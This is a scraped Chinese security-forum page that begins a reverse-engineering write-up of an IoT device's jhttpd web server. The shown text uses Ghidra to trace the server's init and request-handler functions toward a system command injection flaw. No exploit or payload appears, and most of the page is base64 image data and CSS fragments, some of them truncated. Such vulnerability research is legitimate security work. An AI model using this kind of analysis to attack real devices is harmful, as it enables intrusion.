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
<style>.highlight .k{color:#204a87;font-weight:bold}.highlight .n{color:#000}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .p{color:#000;font-weight:bold}.highlight .kn{color:#204a87;font-weight:bold}.highlight .nb{color:#204a87}.highlight .nc{color:#000}.highlight .nf{color:#000}.highlight .nn{color:#000}.highlight .mh{color:#0000cf;font-weight:bold}.highlight .mi{color:#0000cf;font-weight:bold}.highlight .s2{color:#4e9a06}.highlight .s1{color:#4e9a06}.highlight .bp{color:#3465a4}</style>
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
<!--[if lte IE 8]>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<![endif]-->
<!--[if !IE]> -->
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
* https://github.com/fians/Waves/blob/master/LICENSE
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:transl
<body>
<div class="navbar navbar-default">
<div class=navbar-inner>
<div class=container style=text-align:center;position:relative>
<!--[if lte IE 8]>
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验请使用IE10及以上版本</span>
<![endif]-->
<div class=brand-box>
<a class=brand href=https://xz.aliyun.com/tab/1></a>
</div>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15008&amp;from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
登录</a>
<div class="nav-collapse collapse">
<div class="search d1 text-right">
<form action=/search>
<input type=text placeholder=搜索 name=keyword value>
</form>
</div>
</div>
</div>
</div>
</div>
<div id=Wrapper class=container>
<div class=row2>
<div class=span10>
<div class="row box content" width="1200px !important" style=width:1200px>
<div class=box-container>
<div class=main-topic>
<div class="clearfix user-info topic-list">
<p><span class=content-title>从jhttpd分析到系统命令注入</span>
</p>
<div class=topic-info>
<span class=info-left>
<a href=https://xz.aliyun.com/u/35402>
<span class="username cell"> aLtEr</span></a> <span class=i-seprator> / </span>
<span> 2024-07-10 21:31:55</span><span class=i-seprator> / </span>
<span>发表于广东 / </span>
<span>浏览数 130</span>
<span class=content-node>
<span class="label label-default label-node-first">
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
<span class="label label-default">
<a href=https://xz.aliyun.com/node/18>IoT安全</a></span>
</span>
</span>
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
顶(2)</a>
<a class="vote vote-down" href=javascript:void(0)>
踩(0)</a></span>
</div>
</div>
<hr>
<div id=topic_content class="topic-content markdown-body">
<h1 id=toc-0>前言</h1>
<p>IOT设备中有很多WebServer如httpdthttpd和Boa以及jhttpd等更多时候我们都是通过分析这些来获取这些WerbServer来做白盒的审计这次我将的是某设备的jhttpd的分析到实现漏洞挖掘及复现</p>
<h2 id=toc-1>1.jhttpd分析</h2>
<p>使用Ghidra直接导入直接通过其功能找到相应的main函数,从main函数引入<br>
<a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204006-345a85c8-3d27-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABf4AAAOrCAYAAAAGapfKAAEAAElEQVR4nOydd5xcVd3/37dMn+29ZdM76YWEFqoU6VhRVBAVC6gIFgR9xJ8KPCjNBxQBBRSlSFNp0iEJJCG9Z9O21+n1lvP7Y3Ymu9ndZHsC3PfrFZi97XvuzC3nfM63SEIIgYWFhYWFhYWFhYWFhYWFhYWFhYWFhYXFRwL5SDfAwsLCwsLCwsLCwsLCwsLCwsLCwsLCwmL4ULdu3Xqk22BhYWFhYWFhYWFhYWFhYWFhYWFhYWFhMUyo77///pFug4WFhYWFhYWFhYWFhYWFhYWFhYWFhYXFMCGFQiErx7+FhYWFhYWFhYWFhYWFhYWFhYWFhYXFRwTVMIwj3QYLCwsLCwsLCwsLCwsLCwsLCwsLCwsLi2HCKu5rYWFhYWFhYWFhYWFhYWFhYWFhYWFh8RHiqBL+d+3ahdPpPNLNsDgEQgj27duHqqpHuikWHwPa2toIBoM4HI4j3RQLC4uPEVZ/pG9aWlpIJpNHuhkWh2H79u3Wu9PCwsLiY4IQgr1796KqKrJ8VEk8FhYWFhZHmKPqrbBv3z7sdvuRbobFIRBC0NDQYAn/FqOCz+cjEolY4oWFhcWosn//fqs/0gcdHR1omoYkSUe6KRaHYPfu3dY1bGFhYfExQQhBXV0diqKgKMqRbo6FhYWFxVFED/X2mRUtaLpJe1Cjrj3OrsYohiGIJw1MIRAC6CwHLAGyLHUO/kxkSaI4106OR+WTi4s56ZiCUT0Zi6OTBx98kHA43K9tJ0yYwDnnnDMke3fddVe/t128eDGLFy8ekr26ujr++c9/9nv7r371q7jd7kHbW7duHW+99Va/t7/66qsHbSvN0qVL2blz56D2bW1tHbL94eDKK6/kmWee6XXd7Nmz+e9//zu6DbKwsPhYYJomf/7znwE49dRTqa6uHnGbW7ZsYcWKFQBcccUVI27PwmKwFBUVDWn/v//975x66qnD1JoPN0IIhBA8/6d56Fqk2zpZdTN92ePk5eWRn5+PJEmWODgEdNPAFCYbG7exvnErAOMLxpDjyGJm6RRsykfHQeo733mFv/99K62tQx9PfNypq6ujpaWl27Li4mIqKyuPUIt6JxKJEAgEAMjLy0NRFGsi2cLCwuJDTI9eSTxpIIRElsdOgQa6KWEKSGompjAxTRBmaltZTgn/siRhmCaSBFkuFZddJhDVCUQ07DYZl93qWH6cMU0TIcRhvbbj8TjxeJxIJILH4xmSPVmWD9tBMU2TcDhMc3MzxcXFQ/JeNE0Tu91+yNBKXdfRdZ3W1tYhCT9CCEzTxOFwHLbNiUSC5uZmHA4Hubm5g7ap6zqmaTJ37twB7bdu3bpB2xxuDMNA0zRyJs3vdd2wIgQIgR6NInT9wPLO30tSFGS7HdnqRFtYfORpa2vLPKtDoRBtbW0UFhaOmL3W1lYikUjGZnt7OwUFliOGxcgR3CFjJiUMDJIkKBhnw+7pX1CxpmkUFRUNqF9kGAY1NTVMnjyZlpYWDMMYkojtj/ppCDagmzpVuVXkufN6bCNEyuvpaI50iUWaiYWbyS2cgGkkuq2TJDvRwA7syhiys7NRVTVzTqn1w3deO9p6/hY2BcblDXNf6yDCSUjqEoYQmKbAFIJ8t4RDHb5zE0IQ1WLs89cTTcao6dhHbaQptVIGr90DEhR7CshxZuF1DG48s2nTJjRNG1Jbx44dS15ez2t5ILS1xcC0UVVezIYNrcyaNbSJujSmgFgSDJOUY2Hn8vQlKbotE5l16c+KnLpmC7z9u+91E3QDkgYY5oHrHpHyZ8zY6DQkMm0RmTY5bRI57qFpGpqm4fV6u52Xpmkkk8kj7qkvhCASiWAYBuFwmFAolFmnKAperxeXy2WlEbKwsLD4ENJD+N+8P0xRjovzTxhPS9Bg/gQXLodMmz/O5r0Bplfn4rQrSJKEwyZhUyVME4IxA8MUNPkS+CMaG3a186eX9jN7XDanzR2eTsJAuP/++wGYM2cOCxcuHHX7w8X69esBKC0tpaSk5Ai3ZvAoisKYMWP6XB8Oh2loaKC2tpbXXnutx7ZjxowZUOfV5XJRUVFxyG0ikQi7du2ivr6emTNnMm/evH4fvzeKi4vJysrqdZ2u6zQ1NREKhXj66ac5+eSTe2wze/bsAdmrqqrCZrMdcptdu3bx0ksvkZ2dzdKlSykuLh6Qja64slzcseqWAe1zdsEFg7Y3Uiz53Yoey5pvHFrUR1fMZJJ4YyNGNEqipRlMgSRJyIoCkoRpGAghULOzcVVXI9ts2LKzh2w3/cw7HFdeeeWgbbz33nts2LCh39sXFBRw0UUXDdoewJ///Oc+B7/z5s2jtbWV2traHusUReHyyy8ftN3ly5ezefPmbstOO+00xo0bN+hjHo4HHngA0zQPu91gf0PTMBCGgWyz8fDDD/fI057+ztatW8eqVauA1MDa4XCgaRrnnXfeoAXrxx57DNnuAU8RJmAD4qQ6ITKpwbaqSEws9VJeWkpR0cgJ4yPJ9u3bMQyDnJwcZFnG5/OxevVqvF4vhmHQ1NREMBgkOzubrVu3ZvaTJIlZs2YN2F76Gi0tLaWgoIAtW7awevVqVFXF5XJhGAa7d++2hH+LEaPtPZX3vu4i0S4RI0YrfmZ/K8my67OQ+qkPXXTRRXzqU59i69atOJ1OvvrVrwLw3HPPsX///sx2p5xyCtOnTycUCnHJJZfw0ksvce+99/KnP/2J/Px8PvWpTw2o7aYweWXLK2xt2cqOth2oikqBu5BPz/kUJVkl5HvyAdjv28+bO99EVVQumHUBLpur3zY0TUPXdYRpHhAyu6w/sKwzpFoCRKrfEI/GQYKigv6No/Zsfowt79/F57/5AjZ798hSQ0+y5t2HaKx5D19TKS6Xq5vImFe2DNWeQ05ODpIkDWoiYGOTyh6fzO9X9vx+vA7Bl+bGmVFiMCF/ZCYA1tZL7O6QKHAIYgmDhlCcT850MKHw0H3l/uKPB/nX1lfZF2zgsd3/oTHeis1lw+g8vKyDJEBNKizMncHc4ml8afbF5DizyHUNrJ93ySWX0HT6INNctiXghSauu+46rr322kHXq7n//vXU7UuwZP50rrr8FP7fzW+w7IwG5s8vZd68oY1JwwnY2y7hsCskdZER+k0z/X8Ts1PoN0xACIzOyRxhCva2REloBl8/tX99hbawoNaXclDUjNT9JszU/Wd2OlQJ0TkJIVIOjWZnBI1ppNrUHoxxyaLcQZ1vWuT3+/2ccMIJGJ1jAVmWqampYc+ePRQUFIyoU8Ch2mYYBi0tLaxbt454PE40Gs30R2VZRpIkiouLqaiooKqqqs/xroWFhYXF0UkP4b+xI4EkpRbva00ys9qJ0w71bVGefHMfV53npKrEiyQdSPNjCBPNEJgmmELCFBKzJ+Tzq0dryXINT2droFx33XUAfO973/tQC/+vv/46kEq18mEW/oFDFgPsGvZYU1NDTU1Nt/VnnnnmgIR/0zQPW3xQ13W8Xi9FRUW88847Qxb+0574vZFIJLp5TqR/1zSSJA1Y+DdNs18iYWlpKaFQiH379g1J+NdI8jR/G9A+ST5+BSCNeJzwrl0k29pwFBXiyM1DVlWUTu/+ZDhMoqOD6P79SHY7isczLMJ/+pl3KGRZHpLw/+9//3tAqbRmzZo1ZOH/xhtv7HbvdOX6669n7dq1vPLKKz3WOZ3OIQn/zz77LH/4wx+6LfvLX/4yosL/T37yExKJxGG3G7Twr+voySR2VeVnP/sZfr+/2/r0d/baa6/xi1/8AkhNBuTl5REOh5k/f/6gB6W//vWvUbLKoHwuGpAFdABOUpMAJuC2K3xq6RiOX3rsh1b4X7VqFfF4nIkTJ2K329myZQs5OTlA6p0zadIkqqurCQaDvPnmm5n9Biv8L1++HEilrSsoKGDFihVkdz5PotEoyWTyiPe
然后通过相关代码发现了,负责对内存管理功能<code>mem_init_fun()</code>和初始化的服务类型功能<code>httpd_find_type2_init();</code>,<br>
<a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204125-6395fa48-3d27-1.png title><img src="data:image/png;base64,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
再往下跟进分析就是对http可以访问的请求以及对应的函数处理<code>httpd_file_init、httpd_file_ext_init、httpd_cgi_ext_init</code><br>
<a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204216-821da092-3d27-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABP4AAAGtCAYAAACGIro+AACf5klEQVR4nOzddZRd1fXA8e9zGXf3+MTdHUJCIBAkuBUoLVBKS4X+WupCW9pCKUWLQ3FJQgJxd5kkk2Tc3Z/7+/0xk4nNTGYyE+3+rJWuvHvP23ffe19WWXudc7aittHkVyAubv4ejO3u2+xJzHPpzPn6fb72vyuVym5F9Z/wv33j9DzP5b+b3uffcXbyb/3sXSz/YoQQPSP/doUQQvwvOPb/d5fbf++f+v/jl9P9nem/Uc7mXs9F5aC71+rrd3Munk9P4p/NtS+2mO2xhw0bKf9NLC5JCkXrPw2/X37CQgghhBBCCCGEEKdSX+gEhDhbUvATQgghhBBCCCGE6Fz31k0KIYQQQgghhBBCCCEuKTLjT1zSji33BZkBKIQQQgghhBBCCHEitdncct4uptXq0On07Z+nT5/GrbcuwWAwnrccxOWnq4LfiYVBIYQQQgghhBBCiP8lap/Pe94u5vf7Tvp8yy03M3XqVCKHDyV+0oTzkoOmJQeF13FeriUuLEVbXxy/9HQUQgghhBBCCCHE/6ALutQ3KCjoQl5eXOak4CeEEEIIIYQQQoj/ZRdVcw+1Skuc3kCkRnWhU7kk6PRRxAZFEqjR9DKSAoMhmpjACIzqy33bx0CSk9KJUp760w8kKTGNKJX89oQQQgghhBBCCHF5uIgKfwrCjSGMC41kdLAR2fXvTHTERY9mdOJw0kLC6E3pT6EwkBAzijGJmSQHBZ+3aaBaXQyp4f3pH9X6JzkoFN25/EUq9CRkzOS2664jM+SUAp8ujqlX3sYdc6aScA5TEEIIIYQQQgghhDhf+rTMotZFkDZ6ElOmjCI5PLDHwb1tTRp8fj++M4ztik4